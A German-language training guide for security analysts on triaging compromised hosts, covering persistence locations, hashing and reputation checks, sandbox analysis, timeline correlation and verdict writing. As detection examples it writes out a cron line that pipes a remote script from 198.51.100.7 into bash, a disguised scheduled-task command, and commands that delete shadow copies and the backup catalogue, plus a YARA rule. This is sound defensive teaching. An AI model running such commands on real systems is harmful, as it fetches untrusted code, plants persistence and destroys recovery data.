Verfolge eine Prozesskette der Reihe nach: Outlook öffnet invoice.docm in Word; Word startet eine Befehlsshell; PowerShell kontaktiert den Server und schreibt upd.exe; die neue ausführbare Datei startet eigenen Verkehr. Verknüpfe jeden Schritt mit aufgezeichneten Ereignissen. Auch ein signierter Verteilungsagent kann kodiertes PowerShell für eine genehmigte Installation verwenden. Prüfe daher den dekodierten Inhalt und die Autorisierung.

Untersuche unter Linux ausführbare Dateien in /tmp oder /dev/shm, die Weiterleitung von curl an bash, eine auf einen entfernten Socket umgeleitete Shell oder einen mit „(deleted)“ markierten Eintrag /proc/<pid>/exe. Ein Benutzerprozess namens [kworker/0:1] ist verdächtig, wenn er eine ausführbare Datei auf dem Datenträger hat: Echte Kernel-Threads stammen von kthreadd, PID 2, ab und haben keine ausführbare Datei.

Persistenz gibt einem Angreifer eine Möglichkeit, nach Unterbrechungen wie Abmeldung oder Neustart die Ausführung oder den Zugriff wiederzuerlangen. Ein Host kann mehrere Mechanismen mit jeweils eigenem Auslöser enthalten. Dokumentiere Ort, Ziel, Zeitstempel und Datei-Hashwert, bevor du einen Eintrag entfernst.

Windows-Autostart-Orte untersuchen

Run-Schlüssel unter HKCU\Software\Microsoft\Windows\CurrentVersion gelten für den aktuellen Benutzer; dieser kann sie ohne Administratorrechte beschreiben. Der entsprechende HKLM-Run-Schlüssel gilt für alle Benutzer und benötigt erhöhte Rechte für Änderungen. RunOnce ermöglicht eine einmalige Ausführung; HKLM RunOnce wird ausgeführt, wenn sich nach einem Neustart ein Administrator anmeldet. Run-Einträge werden bei der Anmeldung ausgelöst, nicht beim Kopieren einer Datei auf den Datenträger.

Auch Autostart-Ordner starten Inhalte bei der Anmeldung. Prüfe AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup des Benutzers und den gemeinsam genutzten Ordner C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp. Die Sysmon-Registrierungsereignisse 12–14 und das Dateiereignis 11 helfen, diese Änderungen zeitlich einzuordnen.

Geplante Aufgaben können durch ein Intervall, einen Zeitpunkt oder ein Ereignis ausgelöst werden:

schtasks /create /sc minute /mo 30 /tn "GoogleUpdateTaskCore" /tr "C:\Users\Public\upd.exe"

Dies führt das Ziel alle 30 Minuten oder 48-mal pro Tag aus. Der vertrauenswürdig wirkende Aufgabenname identifiziert den Herausgeber des Ziels nicht. Untersuche Sicherheitsereignis 4698 bei aktivierter Überwachung, das Betriebsprotokoll der Aufgabenplanung und die Definitionen unter C:\Windows\System32\Tasks.

Dienste können beim Systemstart beginnen, häufig als SYSTEM. Untersuche Systemereignis 7045 oder Sicherheitsereignis 4697 und den konfigurierten Image-Pfad. Ein neuer Dienst, der aus einem öffentlichen Ordner startet oder PowerShell ausführt, verdient Aufmerksamkeit.

WMI-Ereignisabonnements verbinden einen Ereignisfilter mit einer Consumer-Aktion und können ohne eine Autostart-Datei bestehen bleiben; Sysmon 19–21 zeichnet ihre Komponenten und Verknüpfung auf. Untersuche auch neue Konten und Administratormitgliedschaften, Webserverdateien, Browsererweiterungen und unerwartete DLLs, die durch Manipulation der Suchreihenfolge geladen werden.

Linux und macOS prüfen

Untersuche unter Linux für jeden Benutzer crontab -l, außerdem /etc/crontab, /etc/cron.d/, systemd-Unit-Dateien in /etc/systemd/system/, Shell-Startdateien und ~/.ssh/authorized_keys. Liste Units mit systemctl list-unit-files auf. macOS verwendet LaunchAgents und LaunchDaemons mit Property-List-Definitionen; prüfe ihre konfigurierten Programme und Auslöser.

In einer Benutzer-Crontab lädt */10 * * * * curl -s http://198.51.100.7/s.sh | bash alle 10 Minuten ein Skript herunter und führt es aus. Die Felder stehen für Minute, Stunde, Tag des Monats, Monat und Wochentag. Ein neuer SSH-Schlüssel schafft selbst nach einem Zurücksetzen des Passworts einen weiteren Zugangsweg.

Befunde vergleichen und verknüpfen

Autoruns fasst viele Windows-Autostart-Orte in einer Ansicht zusammen. Das Ausblenden vertrauenswürdiger Herausgeber kann die Übersicht beim ersten Durchgang verbessern; prüfe signierte Einträge aber erneut, wenn andere Belege auf sie hindeuten. Vergleiche mit einem intakten Host aus demselben Systemabbild und der genehmigten Baseline.

Ein Run-Wert namens OneDriveUpdate zeigt zum Beispiel auf eine unsignierte odu.exe im Roaming-Profil eines Benutzers. Die Erstellungszeiten der Datei und des Registrierungseintrags liegen um 09:15 Uhr UTC, eine Minute nach der Ausführung eines verdächtigen Makros. Dieser gemeinsame Zeitpunkt und der Zielpfad verbinden den Autostart-Eintrag mit dem Angriff. Prüfe nach diesem Fund die anderen Orte weiter: Eine geplante Aufgabe oder ein Dienst könnte dieselbe Nutzlast wiederherstellen.

Ein kompromittierter Host weist auch außerhalb seines Prozessbaums Änderungen auf. Suche nach neuen Dateien und neuer Software, geschwächten Sicherheitseinstellungen, ungewöhnlicher Ressourcennutzung und zur Übertragung gesammelten Dateien. Vergleiche sie mit der Rolle des Hosts und der Reihenfolge der Ereignisse.

Dateiänderungen und Herkunft untersuchen

Programme und Skripte in C:\Users\Public, %TEMP%, %APPDATA% oder /tmp verdienen Aufmerksamkeit, wenn sie dort unerwartet auftreten. Eine doppelte Erweiterung wie invoice.pdf.exe verbirgt die tatsächliche Funktion der Datei. Massenhafte Umbenennungen, neue Erweiterungen und Erpresserschreiben in vielen Ordnern bilden ein deutlich stärkeres Ransomware-Muster als eine einzelne unbekannte Datei.

Dateidaten können manipuliert werden. Sysmon-Ereignis 2 zeichnet Änderungen an der Erstellungszeit einer Datei auf, das sogenannte Timestomping. Vergleiche den Ereignisverlauf mit dem sichtbaren Datum, bevor du entscheidest, dass eine alt wirkende Datei schon vor dem Sicherheitsvorfall existierte.

Windows fügt Internetdownloads häufig den alternativen Datenstrom Zone.Identifier hinzu. Dieser Mark of the Web kann die Quell-URL enthalten; Sysmon-Ereignis 15 kann die Erstellung des Datenstroms aufzeichnen. Sichere den Datenstrom zusammen mit der Datei: Beim Kopieren oder Extrahieren kann er verloren gehen, sein Fehlen allein ist daher ein schwacher Hinweis auf die Herkunft.

Nach geschwächten Schutzmaßnahmen suchen

Untersuchungswürdige Änderungen sind deaktivierter Echtzeitschutz, neue Antivirus-Ausschlüsse, Firewallregeln für eingehende Verbindungen, neu aktiviertes RDP, neue lokale Administratoren und eingeschränkte Überwachungseinstellungen. Sicherheitsereignis 1102 zeichnet das Löschen des Sicherheitsüberwachungsprotokolls auf. Korreliere diese Änderungen mit dem verantwortlichen Benutzer oder Prozess und genehmigten Wartungsarbeiten.

Befehle wie vssadmin delete shadows /all /quiet entfernen Volumeschattenkopien und wbadmin delete catalog entfernt den Sicherungskatalog. Angreifer nutzen sie, um vor einer Ransomware-Verschlüsselung die Wiederherstellung zu beeinträchtigen. Ihr Auftreten erfordert eine sofortige Eskalation gemäß Playbook, während das Team die Prozess- und Dateiaktivität im Umfeld prüft.

Software und Ressourcennutzung vergleichen

Signierte Fernwartungssoftware kann dennoch nicht autorisierten Zugriff ermöglichen. Vergleiche das EDR- oder MDM-Inventar mit der Liste genehmigter Software und den Verteilungsdatensätzen. Untersuche Werkzeuge für Zugangsdaten, Scanner oder Cloud-Übertragungswerkzeuge wie rclone auf einem Host, für den kein genehmigter Bedarf besteht.

Ein Miner kann die CPU- oder GPU-Auslastung auf nahezu 100 % treiben und einen Mining-Pool kontaktieren, manchmal über eine stratum+tcp://-Adresse. Hohe Auslastung tritt auch bei legitimen Workloads auf. Ordne die Ressourcenlast daher einem Prozess und einem Ziel zu. Volllaufender Festplattenspeicher, erschöpfter Arbeitsspeicher und wiederholte Dienstabstürze können auf Datensammlung oder eine fehlgeschlagene Ausnutzung hinweisen.

Datenbereitstellung mit ausgehendem Verkehr verbinden

Bei der Datenbereitstellung wird Material vor der Datenexfiltration gesammelt. Große .7z- oder .rar-Archive in einem öffentlichen oder temporären Ordner, Passwortschutz und gleich große Archivteile sind nützliche Hinweise. Ermittle den erstellenden Prozess, die gesammelten Dateien und den Zeitpunkt des Vorgangs.

Erstellt ein nicht genehmigter Prozess Archivteile und sendet anschließend einen großen Upload, verbindet diese Abfolge die Vorbereitung mit der Übertragung. Flow-Daten messen den Verkehr, können aber den Inhalt des Archivs nicht zeigen. Ermittle anhand von Prozess- und Dateizugriffsbelegen, was gesammelt wurde; die Archivgröße allein kann nicht belegen, welche Datensätze die Organisation verlassen haben.

Reputation ergänzt lokale Belege um externen Kontext. Sie kann eine bekannte Datei identifizieren, eine neu registrierte Domäne aufdecken oder aktuelle Missbrauchsmeldungen zeigen. Das Alter der Abfrage, ihre Auswirkungen auf die Vertraulichkeit und ihr Bezug zu diesem Host sind ebenso wichtig wie ihr Wert.

Die genaue Datei identifizieren

Ein kryptografischer Hashwert gibt einem Dateiinhalt eine Kennung fester Länge. MD5 verwendet 32 Hexadezimalzeichen, SHA-1 40 und SHA-256 64. Praktische Kollisionsangriffe schwächen MD5 und SHA-1; verwende daher SHA-256 zur Identifizierung von Beweismitteln.

Get-FileHash .\file.exe -Algorithm SHA256
certutil -hashfile file.exe SHA256

Unter Linux verwendest du sha256sum file. Schon die Änderung eines einzigen Bytes verändert den Hashwert stark: Die SHA-256-Anfänge von „invoice“ und „Invoice“ lauten 52d6e3de4fa0dcc2 und b832002da297545f. Ein Angreifer kann eine Nutzlast erneut kompilieren oder auffüllen, um einen Treffer anhand des exakten Hashwerts zu vermeiden. Fuzzy-Hashes wie ssdeep vergleichen Ähnlichkeit; Imphash gruppiert PE-Dateien anhand ihrer Importe.

Einen Reputationsbericht interpretieren

VirusTotal kombiniert mehrere Engines, Beziehungen und Analyseberichte. Ein Ergebnis von 58/72 bedeutet, dass etwa 81 % die Datei als verdächtig markiert haben; 3/72 entsprechen etwa 4 %. Eine niedrige Anzahl kann auf einen Fehlalarm oder eine neue Bedrohung hinweisen. Betrachte neben dem Verhältnis auch Erkennungsnamen, erste Einreichung, beobachtete Dateinamen, Signatur und kontaktierte Infrastruktur. Null Erkennungen lassen die Frage nach dem Verhalten offen.

Eine Hashwertabfrage vermeidet das Senden des Dateiinhalts, verrät aber, für welchen Hashwert du dich interessierst. Wenn der Dienst die Datei bereits besitzt, kann der Hashwert sie identifizieren. Uploads geben das tatsächliche Sample weiter und können es Abonnenten oder einem Angreifer offenlegen, der Einreichungen beobachtet. Prüfe zuerst den Hashwert und bewahre vertrauliche Inhalte in genehmigten privaten Analysesystemen auf.

Eine gültige Signatur erhöht das Vertrauen in die Herkunft, dennoch bleiben gestohlene Zertifikate und der Missbrauch signierter Systemwerkzeuge möglich. Prüfe sowohl die Gültigkeit der Signatur als auch, ob der Signaturgeber zum angegebenen Produkt passt. Beurteile anschließend den beobachteten Befehl oder das Dateiverhalten.

Domänen- und IP-Kontext lesen

Registrierungsdaten können eine Registrierungsstelle und ein Erstellungsdatum zeigen, selbst wenn Inhaberangaben geschwärzt sind. RDAP ist seit der Umstellung im Januar 2025 das maßgebliche Protokoll für Registrierungsdaten generischer Top-Level-Domains; Werkzeuge können ihre Ansicht weiterhin „WHOIS“ nennen. Eine zwei Tage vor einer Phishing-Kampagne erstellte Domäne ist ein nützliches Warnzeichen. Passives DNS ergänzt frühere Adresszuordnungen und Certificate Transparency die Namen ausgestellter Zertifikate.

AbuseIPDB sammelt IP-Missbrauchsmeldungen. Prüfe die Daten und den gemeldeten Dienst: Eine Cloud-IP-Adresse kann den Kunden gewechselt haben. GeoIP gibt einen ungefähren Standort der Infrastruktur an, nicht den verlässlichen Standort der Person hinter einem VPN, Tor oder einem Cloud-Dienst. Auch Shared Hosting und CDNs machen weitreichende IP-Blockierungen störanfällig.

Belege bevorzugen, die Änderungen überstehen

Die Pyramid of Pain ordnet Hashwerte, IP-Adressen, Domänen, Host- und Netzwerkartefakte, Werkzeuge und Angreifertechniken danach, wie schwer sie für den Angreifer zu ändern sind. Exakte Hashwerte lassen sich leicht ersetzen. Eine Erkennung dafür, dass Word ein Downloadprogramm startet und Persistenz einrichtet, kann auch nach Änderungen am Datei-Hashwert und Ziel nützlich bleiben. Verwalte kurzlebige Indikatoren mit Prüf- oder Ablaufdaten und dokumentiere zugleich das Verhalten, das sie hervorgebracht hat.

Die statische Analyse untersucht eine Datei, ohne sie auszuführen. Sie hilft festzustellen, was die Datei tatsächlich ist, welche Fähigkeiten sie möglicherweise enthält und worauf eine Sandbox achten sollte. Unterscheide Hinweise auf Fähigkeiten von tatsächlich beobachtetem Verhalten.

Typ und lesbaren Inhalt bestimmen

Dateierweiterungen lassen sich leicht ändern. Untersuche die magischen Bytes mit file, einem Hex-Viewer oder der CyberChef-Operation Detect File Type:

Ein Anhang namens invoice.pdf, der mit MZ beginnt, gibt sich als Dokument aus. Bestätige die Struktur, denn eine kurze Signatur allein ist nur eine erste Typprüfung.

GNU strings -a file.exe extrahiert ASCII-Text aus der gesamten Datei. strings -a -e l file.exe extrahiert UTF-16LE-Text, der in Windows-Programmen häufig ist. FLOSS und Sysinternals Strings können helfen, beides abzudecken. Suche nach Domänen, URLs, Befehlen, Registrierungspfaden, Dateinamen und Fehlermeldungen. Extrahierter Text kann ungenutzt oder irreführend sein. Halte daher seine Position fest und gleiche ihn mit späterem Verhalten ab.

Struktur und Hinweise auf Packen lesen

Eine ausführbare PE-Datei hat Header, Abschnitte wie .text, .data und .rsrc sowie eine Importtabelle der angeforderten Funktionen. VirtualAllocEx, WriteProcessMemory und CreateRemoteThread zusammen deuten auf eine mögliche Codeinjektion hin. URLDownloadToFile und InternetOpenUrl deuten auf eine Downloadfähigkeit hin. Ein Kompilierungszeitstempel kann gefälscht sein und muss durch weitere Belege bestätigt werden.

Packer komprimieren oder verschlüsseln Code und entpacken ihn im Arbeitsspeicher. Wenige Zeichenketten, eine kurze Importliste, UPX0-/UPX1-Abschnitte und hohe Entropie deuten auf Packen hin. Bei stark zufällig wirkenden Daten nähert sich die Entropie 8 Bit pro Byte, aber komprimierte Ressourcen und gewöhnliche Installationsprogramme können ähnlich aussehen. Packen verändert die Untersuchung; es entscheidet nicht über das Urteil.

Text dekodieren und einen Treffer prüfen

CyberChef-Rezepte können Base64, Hexadezimalwerte, XOR, Dekomprimierung und URL-Dekodierung kombinieren. Wende die Operationen in der Reihenfolge an, die der Inhalt benötigt. Ein regulärer Ausdruck wie \b(?:\d{1,3}\.){3}\d{1,3}\b extrahiert IPv4-ähnlichen Text, erfasst aber auch 999.1.1.1. Validiere daher die gefundenen Werte.

Eine YARA-Regel kann unabhängige Merkmale kombinieren:

rule Suspicious_Downloader
{
    strings:
        $mz = { 4D 5A }
        $a = "DownloadString" ascii wide
        $b = "198.51.100.7"
    condition:
        $mz at 0 and $a and $b
}

Die Datei muss mit MZ beginnen und beide Zeichenketten enthalten; ascii wide akzeptiert die Download-Zeichenkette in beiden Darstellungen. Teste die Regel an bekannten unbedenklichen Dateien, um zufällige Treffer zu messen. Ein Treffer belegt die Bedingungen der Regel; ihre Bedeutung ergibt sich aus der Prüfung durch den Analysten.

Extrahiere bei Dokumenten Makros mit olevba. Entferne bei Skripten Kodierung oder Verschleierung auf Textebene. Nutze die resultierenden Funktionen, Argumente und Indikatoren, um die dynamische Analyse zu konfigurieren und zu interpretieren.

Die dynamische Analyse führt ein Sample in einer kontrollierten Umgebung aus und zeichnet seine Aktionen auf. Eine Sandbox kann Verhalten aufdecken, das durch Packen verborgen ist, oder aktive Inhalte eines Dokuments sichtbar machen. Ihr Bericht beschreibt diesen Durchlauf unter dieser Konfiguration; prüfe, ob das Sample hatte, was es zum Handeln benötigte.

Einen aussagekräftigen Durchlauf einrichten

Verwende eine isolierte, mit Überwachungswerkzeugen ausgestattete Umgebung wie Joe Sandbox, Cuckoo oder eine interaktive Sandbox. Trenne sie von der Produktionsumgebung, kontrolliere ihren Netzwerkzugang und setze sie nach jedem Durchlauf auf einen sauberen Snapshot zurück. Netzwerkdienste können mit INetSim oder FakeNet simuliert oder über genehmigte Analyseinfrastruktur geleitet werden. Bewahre vertrauliche Samples in privaten Systemen auf.

Stimme Betriebssystem und Anwendungen auf das Ziel ab. Ein Makrodokument benötigt die passende Office-Umgebung; ein Archiv kann sein Passwort benötigen; ein Programm kann Argumente, Klicks, einen bestimmten Elternprozess oder einen Neustart verlangen. Dokumentiere diese Einstellungen und die Laufzeit, damit ein anderer Analyst das Ergebnis interpretieren kann.

Die Aktionen hinter der Bewertung lesen

Untersuche Prozessbaum, Datei- und Registrierungsänderungen, DNS- und HTTP-Aktivität, Verbindungen, Bildschirmaufnahmen und Hashwerte abgelegter Dateien. Ein Bericht kann auch Mutexes und ATT&CK-Zuordnungen zeigen. Ein Mutex koordiniert den exklusiven Zugriff auf eine Ressource; Malware verwendet manchmal einen charakteristischen Mutex-Namen, um die Ausführung zweier Kopien zu vermeiden. Auch legitime Software verwendet Mutexes.

Betrachte einen Dokumentdurchlauf, der Word → verstecktes kodiertes PowerShell, eine Abfrage nach cdn-update.example.net, ein HTTP-GET für /a.ps1, C:\Users\Public\upd.exe und einen auf diese Datei zeigenden Run-Eintrag erzeugt. Sammle Domäne, IP-Adresse, URL, Hashwert der abgelegten Datei, Pfad und Run-Wert. PowerShell stützt die Zuordnung zu T1059.001 und der Run-Eintrag die Zuordnung zu T1547.001. Die Zustellung als Phishing-Anhang benötigt für T1566.001 separate E-Mail-Belege.

Beziehe die Aussagen des Berichts auf seine aufgezeichneten Ereignisse. Eine hohe Gesamtbewertung hilft, ein Sample zu priorisieren, aber die Prozessaktionen erklären, was geschah und welche Indikatoren in deiner Umgebung nützlich sind.

Ein inaktives Sample untersuchen

Malware kann länger als der Beobachtungszeitraum warten, virtuelle Hardware erkennen, Arbeitsspeicher oder CPU-Ressourcen prüfen, auf Klicks warten oder eine bestimmte Sprache oder einen bestimmten Standort verlangen. Auch ein fehlgeschlagener Download kann die Ausführung der nächsten Stufe verhindern. Prüfe Abhängigkeiten und statische Befunde erneut, bevor du einen inaktiven Durchlauf als beruhigend wertest.

Wähle einen erneuten Durchlauf, der eine konkrete Erklärung prüft: Verlängere bei einer Verzögerung die Laufzeit, stelle die erforderliche Anwendung oder Argumente bereit, ergänze Interaktion oder verwende ein anderes Betriebssystemprofil. Dokumentiere, was sich geändert hat. Bleibt eine wichtige Unsicherheit bestehen, eskaliere das Sample zur spezialisierten Reverse-Engineering-Analyse.

Die Befunde in den Fall zurückführen

Durchsuche DNS-, Proxy-, Firewall- und EDR-Datensätze nach den aussagekräftigen Domänen, Pfaden, Hashwerten und dem Verhalten. Windows-Updates, Zertifikatsprüfungen und Verbindungstests einer Sandbox sind Hintergrundaktivität; unterscheide sie von Aktionen des Samples, bevor du Ziele blockierst.

Eine Sandbox kann Suchhinweise für andere Hosts liefern, aber ihr isolierter Durchlauf belegt nicht, welche Produktionshosts infiziert waren. Gleiche die Hinweise mit lokalen Ereignissen und dem Prozessverlauf ab und sichere diese Datensätze zusammen mit dem Bericht und dem Sample-Hashwert.

Korrelation verbindet Datensätze zu einer Darstellung eines Sicherheitsvorfalls, die ein anderer Analyst prüfen kann. E-Mails können die Zustellung belegen, Endgerätetelemetrie die Ausführung und Netzwerkbelege die Kommunikation. Eine nützliche Zeitleiste trennt diese Beobachtungen von ursächlichen Verbindungen, die du noch prüfst.

Zeit und Identität vereinheitlichen

Wandle Zeiten in UTC um und halte die ursprüngliche Zeitzone und jeden bekannten Uhrenversatz fest. Eine EDR-Zeit von 11:14:31 Uhr bei UTC+2 ist 09:14:31 Uhr UTC. Prüfe, ob die Konsole oder der Export die ursprünglichen UTC-Zeitstempel eines Sensors umgerechnet hat. Uhrendrift bei NTP kann dazu führen, dass Quellen auch nach der Zeitzonenumrechnung um Minuten auseinanderliegen.

Wähle Verknüpfungsfelder, die zum betreffenden Zeitpunkt dasselbe Objekt identifizieren: Host, Benutzer, Hashwert, URL, Domäne, Message-ID, Zeek-uid oder Prozess-GUID. Eine PID benötigt eine Startzeit, weil sie erneut vergeben werden kann. Eine IP-Adresse benötigt die DHCP- oder VPN-Historie, weil ein späterer Lease sie einem anderen Host zuweisen kann. Bewahre jeden Quelldatensatz oder Abfrageverweis neben dem Zeitleisteneintrag auf.

Die Kette beobachteter Ereignisse erstellen

Für einen Fall liegen folgende UTC-Belege vor:

• 09:12:05 Uhr: Eine Nachricht mit invoice.docm erreicht 40 Postfächer.
• 09:14:10 Uhr: Der Benutzer auf WS-0423 öffnet den Anhang.
• 09:14:31 Uhr: Word startet kodiertes PowerShell.
• 09:14:32–33 Uhr: DNS löst den Download-Host auf und ein HTTP-GET fragt /a.ps1 an.
• 09:15:02 Uhr: upd.exe wird geschrieben und ein Run-Wert erstellt.
• Ab 09:20:00 Uhr: Verbindungen wiederholen sich alle 300 Sekunden.
• In der folgenden Nacht, 02:10–02:50 Uhr: 2,4 GB verlassen den Host an dieselbe IP-Adresse.

Die Prozess- und Dateibelege stützen die Zusammenhänge bei Ausführung und Persistenz. Der große Upload muss weiter zugeordnet werden: Eine gemeinsame IP-Adresse mit früherem Verkehr ist ein schwächerer Hinweis als eine gemeinsame Prozessinstanz und ein gemeinsamer Anwendungskanal.

Nur zuordnen, was die Belege stützen

MITRE ATT&CK liefert Standardnamen für Verhalten. Die Nachricht stützt die Zuordnung zu Spear-Phishing-Anhang, T1566.001; PowerShell stützt T1059.001; der Run-Eintrag stützt T1547.001. Die Zuordnung des periodischen Verkehrs zu C2 über Webprotokolle, T1071.001, benötigt HTTP- oder HTTPS-Belege. Die Zuordnung des Uploads zur Datenexfiltration über diesen C2-Kanal, T1041, benötigt den Beleg, dass derselbe Prozess und Kanal ihn übertragen haben.

ATT&CK ist keine vorgeschriebene Abfolge. Erkundung, Zugriff auf Zugangsdaten und laterale Bewegung sind mögliche Ansätze für weitere Suchen, keine fehlenden Schritte, die in die Zeitleiste eingefügt werden müssen.

Lücken für die nächste Abfrage nutzen

Übersteigt der Upload die eigenen Dateien des Benutzers, untersuche, ob der Prozess Freigaben gelesen, Daten erzeugt oder Übertragungen wiederholt hat oder ob er mit legitimem Verkehr zusammenfiel. Ermittle, soweit verfügbar, den Sender und den übertragenen Inhalt. Dokumentiere ein unerklärtes Ereignis als unerklärt, statt es in die erste Theorie zu pressen.

Prüfe aktiv eine alternative Erklärung, etwa eine genehmigte Änderung oder eine Datensicherung. Ein Bestätigungsfehler liegt vor, wenn ein Analyst nur Fakten sammelt, die zur ersten Diagnose passen. Eine Zeitleiste wird nützlicher, wenn jede unsichere Verbindung die Belege nennt, die sie stärken oder schwächen würden.

Ein Urteil hält fest, was die Belege stützen, wie hoch dein Vertrauensgrad ist und was als Nächstes geschehen sollte. Die Vorfalldokumentation muss einem anderen Analysten ermöglichen, die Untersuchung zu wiederholen. Die Einstufung einer Alarmmeldung mit hohem Schweregrad allein liefert weder ein Urteil noch einen begründbaren Vertrauensgrad.

Den Befund klassifizieren

Ein richtig positives Ergebnis meldet bösartige Aktivität korrekt. Ein falsch positives Ergebnis meldet Aktivität außerhalb dessen, was die Erkennung finden sollte. Ein gutartiges richtig positives Ergebnis erkennt korrekt tatsächliches, aber autorisiertes Verhalten, etwa einen geplanten Penetrationstest. Ein falsch negatives Ergebnis ist übersehene bösartige Aktivität. Verwende „nicht abschließend beurteilbar“, wenn die Belege noch keine Entscheidung erlauben, und nenne die fehlenden Daten.

Prüfe, ob das Verhalten zu Host und Benutzer passt, ob es autorisiert war, wie verbreitet es ist und ob unabhängige Quellen übereinstimmen. Gib einen hohen, mittleren oder niedrigen Vertrauensgrad mit konkreten Gründen an. Der Vertrauensgrad beschreibt die Stärke des Befunds; der Schweregrad beschreibt seine Auswirkungen und Dringlichkeit.

Ein kodierter PowerShell-Befehl, den ein signierter Verteilungsagent auf 3.000 Hosts während eines genehmigten Wartungsfensters startet, ergibt nach der Dekodierung eine autorisierte Installation. Das ist ein gutartiges richtig positives Ergebnis, wenn die Regel kodiertes PowerShell korrekt erkennt. Dasselbe Muster, von Word auf einem Host gestartet, mit Kontakt zu einer zwei Tage alten Domäne und anschließender Einrichtung von Persistenz, stützt ein bösartiges Urteil mit hohem Vertrauensgrad.

Eine nachvollziehbare Übergabe schreiben

Dokumentiere eine kurze Zusammenfassung, die UTC-Zeitleiste, betroffene Hosts und Konten, entschärfte Indikatoren, belegte ATT&CK-Techniken, Urteil und Vertrauensgrad. Füge Abfragen, Alarmmeldungs-IDs, Speicherorte von Beweismitteln und Datei-Hashwerte hinzu, damit ein anderer Analyst dieselben Datensätze finden kann. Liste bereits ergriffene Maßnahmen und empfohlene nächste Schritte auf.

Erkläre, warum eine Alarmmeldung geschlossen wird. Schlägt eine Erkennung wiederholt bei Aktivitäten außerhalb ihres vorgesehenen Bereichs an, gib den Entwicklern der Erkennungsregel Beispiele und Kontext für die Feinabstimmung. Ein Abschluss ohne Erklärung verbirgt sowohl übersehene Angriffe als auch wiederkehrenden unnötigen Aufwand.

Indikatoren mit Kontext weitergeben

Ergänze bei Domänen- und IP-Indikatoren ein Ablauf- oder Prüfdatum, weil sich Eigentum und Nutzung ändern. Vermeide undifferenzierte Blockierungen gemeinsam genutzter Infrastruktur wie CDNs. Exakte Hashwerte identifizieren eine Dateiversion, während verhaltensbasierte Erkennungen Varianten erfassen können. Erhalte bei der Weitergabe die Beziehung zwischen einem Indikator, seinem beobachteten Verhalten und seinem Vertrauensgrad.

Beweismittel erhalten und eskalieren

Eskaliere einen bestätigten bösartigen Befund gemäß dem Playbook zur Behandlung von Sicherheitsvorfällen; der Schweregrad richtet sich nach betroffenen Assets und Auswirkungen. Bewahre Originalnachrichten, Mitschnitte, Endgeräteexporte und gesammelte Samples auf. Dokumentiere den SHA-256-Hashwert jeder Datei sowie wer sie wann gesichert oder übertragen hat. Diese Aufzeichnungen zur Beweismittelkette dokumentieren den Umgang mit den Beweismitteln; der Hashwert ermöglicht eine Integritätsprüfung.

Die EDR-Isolierung ist dem Ausschalten meist vorzuziehen, weil sie die Kommunikation einschränkt und zugleich Arbeitsspeicher und einen Verwaltungszugang erhält. Auch das Beenden von Prozessen und ein Neustart verändern flüchtige Beweismittel. Folge den Eindämmungsprioritäten des Playbooks, sichere, was der Fall benötigt, und dokumentiere den Zeitpunkt jeder Reaktionsmaßnahme, damit spätere Analysten Angreiferaktivität von der Reaktion unterscheiden können.